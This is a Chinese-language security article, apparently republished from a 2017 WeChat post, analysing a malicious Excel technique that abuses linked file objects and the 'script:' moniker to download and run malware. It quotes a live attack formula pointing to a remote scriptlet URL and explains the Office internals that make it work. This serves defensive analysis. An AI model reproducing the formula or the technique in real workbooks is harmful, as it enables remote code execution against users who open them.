93

DDE攻击的迭代:利用Excel进行攻击

 6 years ago
source link: http://mp.weixin.qq.com/s/Rf1PJQbE_PqoN6NU8tBlOg
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

DDE攻击的迭代:利用Excel进行攻击

Original luochicun 嘶吼专业版 2017-12-20 10:02 Posted on

Image

恶意攻击的更新迭代可谓是一天一个样,让人防不胜防,就在11月初McAfee公司的安全专家们刚刚发现了一个新兴的攻击技术——DDE技术, 攻击者们利用这一技术不需要用户交互即可运行嵌入到Office文档内的有害代码。该协议使得一个Office应用能加载其他Office应用的资料,该协议目前已被微软的目标链接与嵌入(OLE)协议所代替,但DDE协议仍然能够使用。DDE技术漏洞曾被许多不法分子利用,但微软并不计划推出一些安全手段来抑制DDE攻击,因为他们认为DDE技术的这些特性是合法的。

不过就在最近,lastline 公司的安全研究人员发现,DDE的攻击方式又出现了新的迭代,即利用Excel进行攻击。这得益于他们发现的一个恶意Excel文件,该文件似乎可以下载和执行恶意软件。不过对该文件进行检查时,研究人员并没有看到任何具有宏,shellcode或DDE。他们把这些文件在Virustotal上进行了扫描,发现这其实是一个新的攻击技术。

Image

打开此Excel文件后,会出现一个进行更新的链接https://support.office.com/en-us/article/Insert-an-object-in-your-Excel-spreadsheet-e73867b2-2988-4116-8d85-f5769ea435ba,它会提示用户立即对工作簿进行更新。这个外部链接允许用户与其他人共享一个Office文档,这一点尤其方便那些做一个项目的人员,这种文档更新方式会使文档大小更小,使用更灵活。从这个角度来看,这种新的攻击看起来非常类似于DDE攻击,即滥用微软的动态数据交换,执行代码。

Image

在更新链接时,Excel文档会立即生成cmd/PowerShell进程,下载并执行下一个阶段(exe):

Image

Exe的传播:

Image

虽然检查Excel文件时,并没有发现DDE攻击的证据,但可以发现一个脚本单元格,其中包含了公式=Package|’scRiPt:http://magchris[.]ga/images/squrey.xml’!””。

Image

检查这个URL,可以发现它指向的是一个Microsoft scriptlet, 一个用于脚本语言的Microsoft XML包装器,以便将自己注册为COM对象并执行。这个经过伪装的scriptlet封装了一个VBScript,这样设计的目的是下载并执行第二阶段的恶意软件。

Image

文件对象的链接

虽然使用的公式格式可能显得很奇怪,但它实际上是Excel中的链接文件对象的标准格式,下图演示了如何创建一个指向Excel中文件对象的链接:

Image

链接提交后,单元格公式就会变为:=Package|’C:usersmyfile.txtl’!””。这样,该公式就会导致Excel电子表格在用户的Excel文档中建立一个与本地文件的链接。此时,利用这个链接就可以进行恶意目的了。

攻击者如何滥用链接的文件对象

要理解如何利用这个漏洞,我们就需要看看Office是如何解析这个公式的。当用户选择“更新链接”时,Excel将解析此公式的路径部分,并将其传递给MkParseDisplayName API函数。 MkParseDisplayName负责将可读的URI(例如 “scRiPt:http://magchris[.]ga/images/squrey.xml”)解析为与URI模式最相关的名称中,该名称只是一个可以绑定或应用于资源的对象接口,例如,本地文件URI将被检测为本地文件资源 ,从而返回一个FileMoniker进行对象交互。下表显示了如何将不同的资源URI作为标记符进行处理:

Image

如上所示,由于攻击者在其资源URI中指定了“script:”前缀,因此MkParseDisplayName会将该资源标识为Scriptlet,从而将名称对象返回给Windows脚本组件(ComScriptletMoniker - {06290BD3-48AA-11D2-8432 -006008C3FBFC})。

Image

现在,Windows脚本组件的名称对象就与Excel中的链接对象相关联,攻击仅是脚本执行的一个API。在名称被解析之后,让我们看看它是否看起来像FileMoniker,如下面的反汇编所示。

Image

在这个恶意工作簿中,该名称被没有被检测为FileMoniker,而是检测为MKSYS_NONE,因为它是ComScriptletMoniker。这会导致执行被转移到一个MSO.dll调用(下图的红色部分),它会将调用封装到OleCreateLink:

Image

当与scriptlet moniker关联的链接数据传递给OleCreateLink API时,就会下载并执行远程资源,从而导致系统被攻击。下图显示了Excel在用户更新工作簿链接时被调试的情况,这会导致OleCreateLink调用(使用scriptlet moniker)并执行远程脚本,从而进一步导致cmd和PowerShell的执行(见右下窗口Processhacker.exe)。

Image

虽然这个漏洞的攻击效果很好,但似乎目前该方法只针对特定的样本,因为在缺少“.exe”文件扩展名的可执行文件上使用Powershell“Start”命令时,可能会导致最终的有效载荷无法被执行。由于Powershell“Start”命令使用了“ShellExecute”API来查找与目标文件扩展名关联的应用程序,因此有效载荷无法被正常启动。但是,从下图的沙箱分析屏幕截图中可以看到,虽然恶意目的无法达成,但这些异常情况和利用步骤还是被检测到了并被评为恶意软件。

Image

由于时间较短,这个迭代攻击没有让有效载荷在所有的情况下运行,但我相信,随着时间的推移,这个攻击方法肯定会被不断地完善。

近几个月来,我们看到攻击者频繁利用Office中的一些逻辑缺陷来攻击用户。 这些缺陷可以让攻击者不断地对自己的攻击方法和工具进行升级,并屡屡得逞。同时,逻辑缺陷通常不需要攻击者在文档中嵌入任何传统的shellcode,这就使得使用传统的基于签名的检测方案难以发现这样的漏洞。 

Image

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK